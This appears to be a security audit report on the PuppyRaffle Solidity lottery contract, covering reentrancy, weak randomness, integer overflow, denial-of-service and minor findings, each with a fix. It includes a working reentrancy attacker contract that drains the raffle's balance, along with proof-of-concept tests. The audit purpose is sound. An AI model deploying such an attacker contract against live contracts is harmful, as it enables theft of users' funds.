PuppyRaffle Audit Report

Version 1.0

January 13, 2024

Protocol Audit Report

oxwhisperingwoods

January 13, 2024

Prepared by: Frankline Omondi

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRuffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
  - [M-2] Smart Contract Wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing the players at index 0 to incorrectly think that they have not entered the raffle.
    * [L-2] Solidity pragma should be specific, not wide
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-2] Using an outdated version of solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI
    * [I-5] Use of 'magic' numbers is discouraged

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The 0xwhisperingwoods team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The report offers a sneak peak into some of the serious vulnerabilities that can be encountered when working with a lottery contract. Some of the most intense issues encountered include weak random number generation, mishandling of eth, reentrancy issues among others. ALl these have to be taken into careful consideration so that the protocol is safe for users.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Total	16

Findings

High

[H-1] Reentrancy attack in PuppyRaffle`::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow the CEI (Check, Effects, Ineractions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

      @>  payable(msg.sender).sendValue(entranceFee);
      @>  players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fee paid by the entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following in `PuppyRaffle.t.sol`

```
    function test_reentrancy_refund() public {
            address[] memory players = new address[](4);
            players[0] = playerOne;
            players[1] = playerTwo;
            players[2] = playerThree;
            players[3] = playerFour;
            puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

            ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
            address attackUser = makeAddr("attackUser");
            vm.deal(attackUser, 1 ether);

            uint256 startingAttackContractBalance = address(
                attackerContract).balance;
            uint256 startingContractBalance = address(puppyRaffle).balance;

            // attack
            vm.prank(attackUser);
            attackerContract.attack{value: entranceFee}();

            console.log("Starting attack contract balance",
                startingAttackContractBalance);
            console.log("Starting contract balance",
                startingContractBalance);

            console.log("Ending attack contract balance", address(
                attackerContract).balance);
            console.log("Ending contract balance", address(puppyRaffle).
                balance);
    }
```

And this contract as well.

```solidity
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the emit event up as well.

```diff
  function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
         payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predctable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

**Note:* This additionally means that the user could potentially front-run this function and call `refund` if they see that they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando.`block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they do not like the winner or resulting puppy.

Using On-chain randomness seed is a well-documented attack vector in the blockchain space. **Recommended Mitigation:** Consider using a cryptographically provable random number generator such as chainlink VRF(Verifiable Random Functions) for generating randomness.

[H-3] Integer overflow of `PuppleRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar+1
// myVar will resolve to 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feesAddress` may not collect the amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
        totalFees = totalFees + uint64(fee);
        // aka
        totalFees = 800000000000000000 + 17800000000000000000
        // and this will overflow
        totalFees = 153255926290448384
```

4. You will therefore not be able to withdraw, due to the line in `PuppleRaffle::withdrawFees`:

```
         require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

   Although you could use `selfdestruct` to send eth to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
        function testTotalFeesOverflow() public playersEntered {
            // We finish a raffle of 4 to collect some fees
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);
            puppyRaffle.selectWinner();
            uint256 startingTotalFees = puppyRaffle.totalFees();
            // startingTotalFees = 800000000000000000

            // We then have 89 players enter a new raffle
            uint256 playersNum = 89;
            address[] memory players = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players[i] = address(i);
            }
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
            // We end the raffle
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);

            // And here is where the issue occurs
            // We will now have fewer fees even though we just finished a
               second raffle
            puppyRaffle.selectWinner();

            uint256 endingTotalFees = puppyRaffle.totalFees();
            console.log("ending total fees", endingTotalFees);
            assert(endingTotalFees < startingTotalFees);

            // We are also unable to withdraw any fees because of the
               require check
            vm.prank(puppyRaffle.feeAddress());
            vm.expectRevert("PuppyRaffle: There are currently players
               active!");
            puppyRaffle.withdrawFees();
        }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also consider using the `safeMath` library of Openzeppelin for version 0.7.6 of solidity, however, you will still have a hard time with the uint64 type if too many fees are collected.
3. Remove balance check from `PuppyRaffle::withdrawFees`

   ```
   -   require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
   ```

   There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRuffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRuffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRuffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower as compared to those that enter later. Every additional address in the `players` array, is an additional check that the loop will have to make.

```
//@audit DoS Attack
for (uint256 i = 0; i < players.length - 1; i++) {
   @>          for (uint256 j = i + 1; j < players.length; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

Impact: The gas cost for raffle entrance will greatly increase as more players enter the raffle, discouraging users to enter the raffle. The users would therefore create a rush at the start of the raffle to be one of the first entrants in the queue. An attacker might make the `PuppyRaffle::entrants` array to be so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have two sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second set of 100 players.

PoC Place the following tests into `PuppyRaffleTest.t.sol`.

```
    function test_denial_of_service() public {

        vm.txGasPrice(1);
        // Lets first enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // see how much gas this would cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost for the first 100 players", gasUsedFirst)
            ;

        // Now for the 2nd 100 players

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        // see how much gas this would cost
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost for the second 100 players",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations. 1. Consider to allow for duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates, this would allow constant time lookup of whether a user has already entered.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
```

3. Another mitigation measure could be to use OpenZeppelin's `EnumerableSet` library

[M-2] Smart Contract Wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppleRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contracts wallets enter the lottery without a fallback or recieve function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (recommended). -> a pattern referred to as pull over push.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing the players at index 0 to incorrectly think that they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not yet joined the raffle, and attempt to enter the raffle again,thus wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

[L-2] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage as opposed to memory which is more gas efficient.

```
+     uint256 playerLength = players.length;
-     for (uint256 i = 0; i < players.length - 1; i++){
+     for (uint256 i = 0; i < playersLength - 1; i++) {
-         for (uint256 j = i + 1; j < players.length; j++){
+         for (uint256 j = i + 1; j < playersLength; j++) {
              require(players[i] != players[j], "PuppyRaffle:
                  Duplicate player");
          }
      }
```

Informational

[I-2] Using an outdated version of solidity is not recommended

Please use a newer version like `0.8.18`. solc frequently releases newer compiler versions. Old versions can prevent access to new solidity security checks. We also recommend to the team to avoid complex pragma statement.

Recommendation: Deploy with the following solidity versions:

`0.8.18` The recommendation takes into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Use a simple version that allows any of the versions. Consider using the latest version of solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 178

```
        previousWinner = winner; // e vanity, does not matter much
```

- Found in src/PuppyRaffle.sol Line: 203

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

Code should be clean to follow the CEI standards of Checks, Effects, Interactions.

```
        // @audit the winner will not get the money if their fallback is
           messed up
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
    }
```

[I-5] Use of 'magic' numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```